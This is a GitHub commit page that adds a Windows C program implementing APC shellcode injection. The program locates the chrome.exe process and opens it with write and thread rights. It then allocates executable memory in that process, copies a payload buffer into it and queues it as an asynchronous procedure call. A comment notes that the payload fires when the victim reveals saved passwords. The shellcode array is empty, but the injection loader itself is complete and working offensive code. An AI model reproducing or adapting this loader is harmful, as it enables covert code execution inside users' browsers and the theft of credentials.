-
Notifications
You must be signed in to change notification settings - Fork 7
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
1 changed file
with
199 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,199 @@ | ||
#include <winternl.h> | ||
#include <windows.h> | ||
#include <stdio.h> | ||
#include <stdlib.h> | ||
#include <string.h> | ||
#include <tlhelp32.h> | ||
#include <wincrypt.h> | ||
#pragma comment (lib, "crypt32.lib") | ||
#pragma comment (lib, "advapi32") | ||
|
||
// Shellcode | ||
unsigned char payload[] = {}; | ||
unsigned int payload_len = sizeof(payload); | ||
|
||
// http://undocumented.ntinternals.net/UserMode/Undocumented%20Functions/Executable%20Images/RtlCreateUserThread.html | ||
typedef struct _CLIENT_ID { | ||
HANDLE UniqueProcess; | ||
HANDLE UniqueThread; | ||
} CLIENT_ID, *PCLIENT_ID; | ||
|
||
typedef LPVOID (WINAPI * VirtualAlloc_t)( | ||
LPVOID lpAddress, | ||
SIZE_T dwSize, | ||
DWORD flAllocationType, | ||
DWORD flProtect); | ||
|
||
typedef VOID (WINAPI * RtlMoveMemory_t)( | ||
VOID UNALIGNED *Destination, | ||
const VOID UNALIGNED *Source, | ||
SIZE_T Length); | ||
|
||
typedef FARPROC (WINAPI * RtlCreateUserThread_t)( | ||
IN HANDLE ProcessHandle, | ||
IN PSECURITY_DESCRIPTOR SecurityDescriptor OPTIONAL, | ||
IN BOOLEAN CreateSuspended, | ||
IN ULONG StackZeroBits, | ||
IN OUT PULONG StackReserved, | ||
IN OUT PULONG StackCommit, | ||
IN PVOID StartAddress, | ||
IN PVOID StartParameter OPTIONAL, | ||
OUT PHANDLE ThreadHandle, | ||
OUT PCLIENT_ID ClientId); | ||
|
||
typedef NTSTATUS (NTAPI * NtCreateThreadEx_t)( | ||
OUT PHANDLE hThread, | ||
IN ACCESS_MASK DesiredAccess, | ||
IN PVOID ObjectAttributes, | ||
IN HANDLE ProcessHandle, | ||
IN PVOID lpStartAddress, | ||
IN PVOID lpParameter, | ||
IN ULONG Flags, | ||
IN SIZE_T StackZeroBits, | ||
IN SIZE_T SizeOfStackCommit, | ||
IN SIZE_T SizeOfStackReserve, | ||
OUT PVOID lpBytesBuffer); | ||
|
||
typedef struct _UNICODE_STRING { | ||
USHORT Length; | ||
USHORT MaximumLength; | ||
_Field_size_bytes_part_(MaximumLength, Length) PWCH Buffer; | ||
} UNICODE_STRING, *PUNICODE_STRING; | ||
|
||
// https://processhacker.sourceforge.io/doc/ntbasic_8h_source.html#l00186 | ||
typedef struct _OBJECT_ATTRIBUTES { | ||
ULONG Length; | ||
HANDLE RootDirectory; | ||
PUNICODE_STRING ObjectName; | ||
ULONG Attributes; | ||
PVOID SecurityDescriptor; // PSECURITY_DESCRIPTOR; | ||
PVOID SecurityQualityOfService; // PSECURITY_QUALITY_OF_SERVICE | ||
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES; | ||
|
||
// https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-zwcreatesection | ||
// https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FNT%20Objects%2FSection%2FNtCreateSection.html | ||
typedef NTSTATUS (NTAPI * NtCreateSection_t)( | ||
OUT PHANDLE SectionHandle, | ||
IN ULONG DesiredAccess, | ||
IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, | ||
IN PLARGE_INTEGER MaximumSize OPTIONAL, | ||
IN ULONG PageAttributess, | ||
IN ULONG SectionAttributes, | ||
IN HANDLE FileHandle OPTIONAL); | ||
|
||
// https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-zwmapviewofsection | ||
// https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FNT%20Objects%2FSection%2FNtMapViewOfSection.html | ||
typedef NTSTATUS (NTAPI * NtMapViewOfSection_t)( | ||
HANDLE SectionHandle, | ||
HANDLE ProcessHandle, | ||
PVOID * BaseAddress, | ||
ULONG_PTR ZeroBits, | ||
SIZE_T CommitSize, | ||
PLARGE_INTEGER SectionOffset, | ||
PSIZE_T ViewSize, | ||
DWORD InheritDisposition, | ||
ULONG AllocationType, | ||
ULONG Win32Protect); | ||
|
||
// http://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FNT%20Objects%2FSection%2FSECTION_INHERIT.html | ||
typedef enum _SECTION_INHERIT { | ||
ViewShare = 1, | ||
ViewUnmap = 2 | ||
} SECTION_INHERIT, *PSECTION_INHERIT; | ||
|
||
int FindTarget(const char *procname) { | ||
|
||
HANDLE hProcSnap; | ||
PROCESSENTRY32 pe32; | ||
int pid = 0; | ||
|
||
hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); | ||
if (INVALID_HANDLE_VALUE == hProcSnap) return 0; | ||
|
||
pe32.dwSize = sizeof(PROCESSENTRY32); | ||
|
||
if (!Process32First(hProcSnap, &pe32)) { | ||
CloseHandle(hProcSnap); | ||
return 0; | ||
} | ||
|
||
while (Process32Next(hProcSnap, &pe32)) { | ||
if (lstrcmpiA(procname, pe32.szExeFile) == 0) { | ||
pid = pe32.th32ProcessID; | ||
break; | ||
} | ||
} | ||
|
||
CloseHandle(hProcSnap); | ||
|
||
return pid; | ||
} | ||
|
||
|
||
HANDLE FindThread(int pid){ | ||
|
||
HANDLE hThread = NULL; | ||
THREADENTRY32 thEntry; | ||
|
||
thEntry.dwSize = sizeof(thEntry); | ||
HANDLE Snap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0); | ||
|
||
while (Thread32Next(Snap, &thEntry)) { | ||
if (thEntry.th32OwnerProcessID == pid) { | ||
hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, thEntry.th32ThreadID); | ||
break; | ||
} | ||
} | ||
CloseHandle(Snap); | ||
|
||
return hThread; | ||
} | ||
|
||
|
||
// APC injection | ||
int InjectAPC(int pid, HANDLE hProc, unsigned char * payload, unsigned int payload_len) { | ||
|
||
HANDLE hThread = NULL; | ||
LPVOID pRemoteCode = NULL; | ||
CONTEXT ctx; | ||
|
||
// find a thread in target process | ||
hThread = FindThread(pid); | ||
if (hThread == NULL) { | ||
printf("Error, hijack failed!.\n"); | ||
return -1; | ||
} | ||
|
||
// perform payload injection | ||
pRemoteCode = VirtualAllocEx(hProc, NULL, payload_len, MEM_COMMIT, PAGE_EXECUTE_READ); | ||
WriteProcessMemory(hProc, pRemoteCode, (PVOID) payload, (SIZE_T) payload_len, (SIZE_T *) NULL); | ||
|
||
// execute the payload by adding async procedure call (APC) object to thread's APC queue | ||
QueueUserAPC((PAPCFUNC)pRemoteCode, hThread, NULL); | ||
|
||
return 0; | ||
} | ||
|
||
|
||
int main(void) { | ||
|
||
int pid = 0; | ||
HANDLE hProc = NULL; | ||
// You can put process in alertable state by going to view saved passwords and click reveal password which should trigger payload. | ||
pid = FindTarget("chrome.exe"); | ||
|
||
if (pid) { | ||
printf("Chrome.exe PID = %d\n", pid); | ||
|
||
// try to open target process | ||
hProc = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | | ||
PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE, | ||
FALSE, (DWORD) pid); | ||
|
||
if (hProc != NULL) { | ||
InjectAPC(pid, hProc, payload, payload_len); | ||
CloseHandle(hProc); | ||
} | ||
} | ||
return 0; | ||
} |